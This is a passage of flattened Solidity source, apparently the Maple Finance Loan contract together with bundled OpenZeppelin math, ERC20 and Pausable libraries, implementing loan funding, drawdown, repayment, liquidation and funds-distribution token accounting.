optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } ////// lib/openzeppelin-contracts/contracts/GSN/Context.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "../../GSN/Context.sol"; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } ////// contracts/token/BasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol"; */ /* import "./interfaces/IBaseFDT.sol"; */ /* import "../math/SafeMathUint.sol"; */ /* import "../math/SafeMathInt.sol"; */ /// @title BasicFDT implements base level FDT functionality for accounting for revenues. abstract contract BasicFDT is IBaseFDT, ERC20 { using SafeMath for uint256; using SafeMathUint for uint256; using SignedSafeMath for int256; using SafeMathInt for int256; uint256 internal constant pointsMultiplier = 2 ** 128; uint256 internal pointsPerShare; mapping(address => int256) internal pointsCorrection; mapping(address => uint256) internal withdrawnFunds; event PointsPerShareUpdated(uint256 pointsPerShare); event PointsCorrectionUpdated(address indexed account, int256 pointsCorrection); constructor(string memory name, string memory symbol) ERC20(name, symbol) public { } /** @dev Distributes funds to token holders. @dev It reverts if the total supply of tokens is 0. @dev It emits a `FundsDistributed` event if the amount of received funds is greater than 0. @dev It emits a `PointsPerShareUpdated` event if the amount of received funds is greater than 0. About undistributed funds: In each distribution, there is a small amount of funds which do not get distributed, which is `(value pointsMultiplier) % totalSupply()`. With a well-chosen `pointsMultiplier`, the amount funds that are not getting distributed in a distribution can be less than 1 (base unit). We can actually keep track of the undistributed funds in a distribution and try to distribute it in the next distribution. */ function _distributeFunds(uint256 value) internal { require(totalSupply() > 0, "FDT:ZERO_SUPPLY"); if (value == 0) return; pointsPerShare = pointsPerShare.add(value.mul(pointsMultiplier) / totalSupply()); emit FundsDistributed(msg.sender, value); emit PointsPerShareUpdated(pointsPerShare); } /** @dev Prepares the withdrawal of funds. @dev It emits a `FundsWithdrawn` event if the amount of withdrawn funds is greater than 0. @return withdrawableDividend The amount of dividend funds that can be withdrawn. */ function _prepareWithdraw() internal returns (uint256 withdrawableDividend) { withdrawableDividend = withdrawableFundsOf(msg.sender); uint256 _withdrawnFunds = withdrawnFunds[msg.sender].add(withdrawableDividend); withdrawnFunds[msg.sender] = _withdrawnFunds; emit FundsWithdrawn(msg.sender, withdrawableDividend, _withdrawnFunds); } /** @dev Returns the amount of funds that an account can withdraw. @param _owner The address of a token holder. @return The amount funds that `_owner` can withdraw. */ function withdrawableFundsOf(address _owner) public view override returns (uint256) { return accumulativeFundsOf(_owner).sub(withdrawnFunds[_owner]); } /** @dev Returns the amount of funds that an account has withdrawn. @param _owner The address of a token holder. @return The amount of funds that `_owner` has withdrawn. */ function withdrawnFundsOf(address _owner) external view returns (uint256) { return withdrawnFunds[_owner]; } /** @dev Returns the amount of funds that an account has earned in total. @dev accumulativeFundsOf(_owner) = withdrawableFundsOf(_owner) + withdrawnFundsOf(_owner) = (pointsPerShare * balanceOf(_owner) + pointsCorrection[_owner]) / pointsMultiplier @param _owner The address of a token holder. @return The amount of funds that `_owner` has earned in total. */ function accumulativeFundsOf(address _owner) public view returns (uint256) { return pointsPerShare .mul(balanceOf(_owner)) .toInt256Safe() .add(pointsCorrection[_owner]) .toUint256Safe() / pointsMultiplier; } /** @dev Transfers tokens from one account to another. Updates pointsCorrection to keep funds unchanged. @dev It emits two `PointsCorrectionUpdated` events, one for the sender and one for the receiver. @param from The address to transfer from. @param to The address to transfer to. @param value The amount to be transferred. */ function _transfer( address from, address to, uint256 value ) internal virtual override { super._transfer(from, to, value); int256 _magCorrection = pointsPerShare.mul(value).toInt256Safe(); int256 pointsCorrectionFrom = pointsCorrection[from].add(_magCorrection); pointsCorrection[from] = pointsCorrectionFrom; int256 pointsCorrectionTo = pointsCorrection[to].sub(_magCorrection); pointsCorrection[to] = pointsCorrectionTo; emit PointsCorrectionUpdated(from, pointsCorrectionFrom); emit PointsCorrectionUpdated(to, pointsCorrectionTo); } /** @dev Mints tokens to an account. Updates pointsCorrection to keep funds unchanged. @param account The account that will receive the created tokens. @param value The amount that will be created. */ function _mint(address account, uint256 value) internal virtual override { super._mint(account, value); int256 _pointsCorrection = pointsCorrection[account].sub( (pointsPerShare.mul(value)).toInt256Safe() ); pointsCorrection[account] = _pointsCorrection; emit PointsCorrectionUpdated(account, _pointsCorrection); } /** @dev Burns an amount of the token of a given account. Updates pointsCorrection to keep funds unchanged. @dev It emits a `PointsCorrectionUpdated` event. @param account The account whose tokens will be burnt. @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal virtual override { super._burn(account, value); int256 _pointsCorrection = pointsCorrection[account].add( (pointsPerShare.mul(value)).toInt256Safe() ); pointsCorrection[account] = _pointsCorrection; emit PointsCorrectionUpdated(account, _pointsCorrection); } /** @dev Withdraws all available funds for a token holder. */ function withdrawFunds() public virtual override {} /** @dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance. @return A int256 representing the difference of the new and previous `fundsToken` balance. */ function _updateFundsTokenBalance() internal virtual returns (int256) {} /** @dev Registers a payment of funds in tokens. May be called directly after a deposit is made. @dev Calls _updateFundsTokenBalance(), whereby the contract computes the delta of the new and previous `fundsToken` balance and increments the total received funds (cumulative), by delta, by calling _distributeFunds(). */ function updateFundsReceived() public virtual { int256 newFunds = _updateFundsTokenBalance(); if (newFunds <= 0) return; _distributeFunds(newFunds.toUint256Safe()); } } ////// contracts/token/LoanFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "./BasicFDT.sol"; */ /// @title LoanFDT inherits BasicFDT and uses the original ERC-2222 logic. abstract contract LoanFDT is BasicFDT { using SafeMath for uint256; using SafeMathUint for uint256; using SignedSafeMath for int256; using SafeMathInt for int256; using SafeERC20 for IERC20; IERC20 public immutable fundsToken; // The `fundsToken` (dividends). uint256 public fundsTokenBalance; // The amount of `fundsToken` (Liquidity Asset) currently present and accounted for in this contract. constructor(string memory name, string memory symbol, address _fundsToken) BasicFDT(name, symbol) public { fundsToken = IERC20(_fundsToken); } /** @dev Withdraws all available funds for a token holder. */ function withdrawFunds() public virtual override { uint256 withdrawableFunds = _prepareWithdraw(); if (withdrawableFunds > uint256(0)) { fundsToken.safeTransfer(msg.sender, withdrawableFunds); _updateFundsTokenBalance(); } } /** @dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance. @return A int256 representing the difference of the new and previous `fundsToken` balance. */ function _updateFundsTokenBalance() internal virtual override returns (int256) { uint256 _prevFundsTokenBalance = fundsTokenBalance; fundsTokenBalance = fundsToken.balanceOf(address(this)); return int256(fundsTokenBalance).sub(int256(_prevFundsTokenBalance)); } } ////// lib/openzeppelin-contracts/contracts/utils/Pausable.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "../GSN/Context.sol"; */ /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } ////// contracts/Loan.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/utils/Pausable.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "./interfaces/ICollateralLocker.sol"; */ /* import "./interfaces/ICollateralLockerFactory.sol"; */ /* import "./interfaces/IERC20Details.sol"; */ /* import "./interfaces/IFundingLocker.sol"; */ /* import "./interfaces/IFundingLockerFactory.sol"; */ /* import "./interfaces/IMapleGlobals.sol"; */ /* import "./interfaces/ILateFeeCalc.sol"; */ /* import "./interfaces/ILiquidityLocker.sol"; */ /* import "./interfaces/ILoanFactory.sol"; */ /* import "./interfaces/IPool.sol"; */ /* import "./interfaces/IPoolFactory.sol"; */ /* import "./interfaces/IPremiumCalc.sol"; */ /* import "./interfaces/IRepaymentCalc.sol"; */ /* import "./interfaces/IUniswapRouter.sol"; */ /* import "./library/Util.sol"; */ /* import "./library/LoanLib.sol"; */ /* import "./token/LoanFDT.sol"; */ /// @title Loan maintains all accounting and functionality related to Loans. contract Loan is LoanFDT, Pausable { using SafeMathInt for int256; using SignedSafeMath for int256; using SafeMath for uint256; using SafeERC20 for IERC20; /** Ready = The Loan has been initialized and is ready for funding (assuming funding period hasn't ended) Active = The Loan has been drawdown and the Borrower is making payments Matured = The Loan is fully paid off and has "matured" Expired = The Loan did not initiate, and all funding was returned to Lenders Liquidated = The Loan has been liquidated */ enum State { Ready, Active, Matured, Expired, Liquidated } State public loanState; // The current state of this Loan, as defined in the State enum below. IERC20 public immutable liquidityAsset; // The asset deposited by Lenders into the FundingLocker, when funding this Loan. IERC20 public immutable collateralAsset; // The asset deposited by Borrower into the CollateralLocker, for collateralizing this Loan. address public immutable fundingLocker; // The FundingLocker that holds custody of Loan funds before drawdown. address public immutable flFactory; // The FundingLockerFactory. address public immutable collateralLocker; // The CollateralLocker that holds custody of Loan collateral. address public immutable clFactory; // The CollateralLockerFactory. address public immutable borrower; // The Borrower of this Loan, responsible for repayments. address public immutable repaymentCalc; // The RepaymentCalc for this Loan. address public immutable lateFeeCalc; // The LateFeeCalc for this Loan. address public immutable premiumCalc; // The PremiumCalc for this Loan. address public immutable superFactory; // The LoanFactory that deployed this Loan. mapping(address => bool) public loanAdmins; // Admin addresses that have permission to do certain operations in case of disaster management. uint256 public nextPaymentDue; // The unix timestamp due date of the next payment. // Loan specifications uint256 public immutable apr; // The APR in basis points. uint256 public paymentsRemaining; // The number of payments remaining on the Loan. uint256 public immutable termDays; // The total length of the Loan term in days. uint256 public immutable paymentIntervalSeconds; // The time between Loan payments in seconds. uint256 public immutable requestAmount; // The total requested amount for Loan. uint256 public immutable collateralRatio; // The percentage of value of the drawdown amount to post as collateral in basis points. uint256 public immutable createdAt; // The timestamp of when Loan was instantiated. uint256 public immutable fundingPeriod; // The time for a Loan to be funded in seconds. uint256 public immutable defaultGracePeriod; // The time a Borrower has, after a payment is due, to make a payment before a liquidation can occur. // Accounting variables uint256 public principalOwed; // The amount of principal owed (initially the drawdown amount). uint256 public principalPaid; // The amount of principal that has been paid by the Borrower since the Loan instantiation. uint256 public interestPaid; // The amount of interest that has been paid by the Borrower since the Loan instantiation. uint256 public feePaid; // The amount of fees that have been paid by the Borrower since the Loan instantiation. uint256 public excessReturned; // The amount of excess that has been returned to the Lenders after the Loan drawdown. // Liquidation variables uint256 public amountLiquidated; // The amount of Collateral Asset that has been liquidated after default. uint256 public amountRecovered; // The amount of Liquidity Asset that has been recovered after default. uint256 public defaultSuffered; // The difference between `amountRecovered` and `principalOwed` after liquidation. uint256 public liquidationExcess; // If `amountRecovered > principalOwed`, this is the amount of Liquidity Asset that is to be returned to the Borrower. event LoanFunded(address indexed fundedBy, uint256 amountFunded); event BalanceUpdated(address indexed account, address indexed token, uint256 balance); event Drawdown(uint256 drawdownAmount); event LoanStateChanged(State state); event LoanAdminSet(address indexed loanAdmin, bool allowed); event PaymentMade( uint256 totalPaid, uint256 principalPaid, uint256 interestPaid, uint256 paymentsRemaining, uint256 principalOwed, uint256 nextPaymentDue, bool latePayment ); event Liquidation( uint256 collateralSwapped, uint256 liquidityAssetReturned, uint256 liquidationExcess, uint256 defaultSuffered ); /** @dev Constructor for a Loan. @dev It emits a `LoanStateChanged` event. @param _borrower Will receive the funding when calling `drawdown()`. Is also responsible for repayments. @param _liquidityAsset The asset the Borrower is requesting funding in. @param _collateralAsset The asset provided as collateral by the Borrower. @param _flFactory Factory to instantiate FundingLocker with. @param _clFactory Factory to instantiate CollateralLocker with. @param specs Contains specifications for this Loan. specs[0] = apr specs[1] = termDays specs[2] = paymentIntervalDays (aka PID) specs[3] = requestAmount specs[4] = collateralRatio @param calcs The calculators used for this Loan. calcs[0] = repaymentCalc calcs[1] = lateFeeCalc calcs[2] = premiumCalc */ constructor( address _borrower, address _liquidityAsset, address _collateralAsset, address _flFactory, address _clFactory, uint256[5] memory specs, address[3] memory calcs ) LoanFDT("Maple Loan Token", "MPL-LOAN", _liquidityAsset) public { IMapleGlobals globals = _globals(msg.sender); // Perform validity cross-checks. LoanLib.loanSanityChecks(globals, _liquidityAsset, _collateralAsset, specs); borrower = _borrower; liquidityAsset = IERC20(_liquidityAsset); collateralAsset = IERC20(_collateralAsset); flFactory = _flFactory; clFactory = _clFactory; createdAt = block.timestamp; // Update state variables. apr = specs[0]; termDays = specs[1]; paymentsRemaining = specs[1].div(specs[2]); paymentIntervalSeconds = specs[2].mul(1 days); requestAmount = specs[3]; collateralRatio = specs[4]; fundingPeriod = globals.fundingPeriod(); defaultGracePeriod = globals.defaultGracePeriod(); repaymentCalc = calcs[0]; lateFeeCalc = calcs[1]; premiumCalc = calcs[2]; superFactory = msg.sender; // Deploy lockers. collateralLocker = ICollateralLockerFactory(_clFactory).newLocker(_collateralAsset); fundingLocker = IFundingLockerFactory(_flFactory).newLocker(_liquidityAsset); emit LoanStateChanged(State.Ready); } /**************************/ /*** Borrower Functions ***/ /**************************/ /** @dev Draws down funding from FundingLocker, posts collateral, and transitions the Loan state from `Ready` to `Active`. Only the Borrower can call this function. @dev It emits four `BalanceUpdated` events. @dev It emits a `LoanStateChanged` event. @dev It emits a `Drawdown` event. @param amt Amount of Liquidity Asset the Borrower draws down. Remainder is returned to the Loan where it can be claimed back by LoanFDT holders. */ function drawdown(uint256 amt) external { _whenProtocolNotPaused(); _isValidBorrower(); _isValidState(State.Ready); IMapleGlobals globals = _globals(superFactory); IFundingLocker _fundingLocker = IFundingLocker(fundingLocker); require(amt >= requestAmount, "L:AMT_LT_REQUEST_AMT"); require(amt <= _getFundingLockerBalance(), "L:AMT_GT_FUNDED_AMT"); // Update accounting variables for the Loan. principalOwed = amt; nextPaymentDue = block.timestamp.add(paymentIntervalSeconds); loanState = State.Active; // Transfer the required amount of collateral for drawdown from the Borrower to the CollateralLocker. collateralAsset.safeTransferFrom(borrower, collateralLocker, collateralRequiredForDrawdown(amt)); // Transfer funding amount from the FundingLocker to the Borrower, then drain remaining funds to the Loan. uint256 treasuryFee = globals.treasuryFee(); uint256 investorFee = globals.investorFee(); address treasury = globals.mapleTreasury(); uint256 _feePaid = feePaid = amt.mul(investorFee).div(10_000); // Update fees paid for `claim()`. uint256 treasuryAmt = amt.mul(treasuryFee).div(10_000); // Calculate amount to send to the MapleTreasury. _transferFunds(_fundingLocker, treasury, treasuryAmt); // Send the treasury fee directly to the MapleTreasury. _transferFunds(_fundingLocker, borrower, amt.sub(treasuryAmt).sub(_feePaid)); // Transfer drawdown amount to the Borrower. // Update excessReturned for `claim()`. excessReturned = _getFundingLockerBalance().sub(_feePaid); // Drain remaining funds from the FundingLocker (amount equal to `excessReturned` plus `feePaid`) _fundingLocker.drain(); // Call `updateFundsReceived()` update LoanFDT accounting with funds received from fees and excess returned. updateFundsReceived(); _emitBalanceUpdateEventForCollateralLocker(); _emitBalanceUpdateEventForFundingLocker(); _emitBalanceUpdateEventForLoan(); emit BalanceUpdated(treasury, address(liquidityAsset), liquidityAsset.balanceOf(treasury)); emit LoanStateChanged(State.Active); emit Drawdown(amt); } /** @dev Makes a payment for this Loan. Amounts are calculated for the Borrower. */ function makePayment() external { _whenProtocolNotPaused(); _isValidState(State.Active); (uint256 total, uint256 principal, uint256 interest,, bool paymentLate) = getNextPayment(); --paymentsRemaining; _makePayment(total, principal, interest, paymentLate); } /** @dev Makes the full payment for this Loan (a.k.a. "calling" the Loan). This requires the Borrower to pay a premium fee. */ function makeFullPayment() external { _whenProtocolNotPaused(); _isValidState(State.Active); (uint256 total, uint256 principal, uint256 interest) = getFullPayment(); paymentsRemaining = uint256(0); _makePayment(total, principal, interest, false); } /** @dev Updates the payment variables and transfers funds from the Borrower into the Loan. @dev It emits one or two `BalanceUpdated` events (depending if payments remaining). @dev It emits a `LoanStateChanged` event if no payments remaining. @dev It emits a `PaymentMade` event. */ function _makePayment(uint256 total, uint256 principal, uint256 interest, bool paymentLate) internal { // Caching to reduce `SLOADs`. uint256 _paymentsRemaining = paymentsRemaining; // Update internal accounting variables. interestPaid = interestPaid.add(interest); if (principal > uint256(0)) principalPaid = principalPaid.add(principal); if (_paymentsRemaining > uint256(0)) { // Update info related to next payment and, if needed, decrement principalOwed. nextPaymentDue = nextPaymentDue.add(paymentIntervalSeconds); if (principal > uint256(0)) principalOwed = principalOwed.sub(principal); } else { // Update info to close loan. principalOwed = uint256(0); loanState = State.Matured; nextPaymentDue = uint256(0); // Transfer all collateral back to the Borrower. ICollateralLocker(collateralLocker).pull(borrower, _getCollateralLockerBalance()); _emitBalanceUpdateEventForCollateralLocker(); emit LoanStateChanged(State.Matured); } // Loan payer sends funds to the Loan. liquidityAsset.safeTransferFrom(msg.sender, address(this), total); // Update FDT accounting with funds received from interest payment. updateFundsReceived(); emit PaymentMade( total, principal, interest, _paymentsRemaining, principalOwed, _paymentsRemaining > 0 ? nextPaymentDue : 0, paymentLate ); _emitBalanceUpdateEventForLoan(); } /************************/ /*** Lender Functions ***/ /************************/ /** @dev Funds this Loan and mints LoanFDTs for `mintTo` (DebtLocker in the case of Pool funding). Only LiquidityLocker using valid/approved Pool can call this function. @dev It emits a `LoanFunded` event. @dev It emits a `BalanceUpdated` event. @param amt Amount to fund the Loan. @param mintTo Address that LoanFDTs are minted to. */ function fundLoan(address mintTo, uint256 amt) whenNotPaused external { _whenProtocolNotPaused(); _isValidState(State.Ready); _isValidPool(); _isWithinFundingPeriod(); liquidityAsset.safeTransferFrom(msg.sender, fundingLocker, amt); uint256 wad = _toWad(amt); // Convert to WAD precision. _mint(mintTo, wad); // Mint LoanFDTs to `mintTo` (i.e DebtLocker contract). emit LoanFunded(mintTo, amt); _emitBalanceUpdateEventForFundingLocker(); } /** @dev Handles returning capital to the Loan, where it can be claimed back by LoanFDT holders, if the Borrower has not drawn down on the Loan past the drawdown grace period. @dev It emits a `LoanStateChanged` event. */ function unwind() external { _whenProtocolNotPaused(); _isValidState(State.Ready); // Update accounting for `claim()` and transfer funds from FundingLocker to Loan. excessReturned = LoanLib.unwind(liquidityAsset, fundingLocker, createdAt, fundingPeriod); updateFundsReceived(); // Transition state to `Expired`. loanState = State.Expired; emit LoanStateChanged(State.Expired); } /** @dev Triggers a default if the Loan meets certain default conditions, liquidating all collateral and updating accounting. Only the an account with sufficient LoanFDTs of this Loan can call this function. @dev It emits a `BalanceUpdated` event. @dev It emits a `Liquidation` event. @dev It emits a `LoanStateChanged` event. */ function triggerDefault() external { _whenProtocolNotPaused(); _isValidState(State.Active); require(LoanLib.canTriggerDefault(nextPaymentDue, defaultGracePeriod, superFactory, balanceOf(msg.sender), totalSupply()), "L:FAILED_TO_LIQ"); // Pull the Collateral Asset from the CollateralLocker, swap to the Liquidity Asset, and hold custody of the resulting Liquidity Asset in the Loan. (amountLiquidated, amountRecovered) = LoanLib.liquidateCollateral(collateralAsset, address(liquidityAsset), superFactory, collateralLocker); _emitBalanceUpdateEventForCollateralLocker(); // Decrement `principalOwed` by `amountRecovered`, set `defaultSuffered` to the difference (shortfall from the liquidation). if (amountRecovered <= principalOwed) { principalOwed = principalOwed.sub(amountRecovered); defaultSuffered = principalOwed; } // Set `principalOwed` to zero and return excess value from the liquidation back to the Borrower. else { liquidationExcess = amountRecovered.sub(principalOwed); principalOwed = 0; liquidityAsset.safeTransfer(borrower, liquidationExcess); // Send excess to the Borrower. } // Update LoanFDT accounting with funds received from the liquidation. updateFundsReceived(); // Transition `loanState` to `Liquidated` loanState = State.Liquidated; emit Liquidation( amountLiquidated, // Amount of Collateral Asset swapped. amountRecovered, // Amount of Liquidity Asset recovered from swap. liquidationExcess, // Amount of Liquidity Asset returned to borrower. defaultSuffered // Remaining losses after the liquidation. ); emit LoanStateChanged(State.Liquidated); } /***********************/ /*** Admin Functions ***/ /***********************/ /** @dev Triggers paused state. Halts functionality for certain functions. Only the Borrower or a Loan Admin can call this function. */ function pause() external { _isValidBorrowerOrLoanAdmin(); super._pause(); 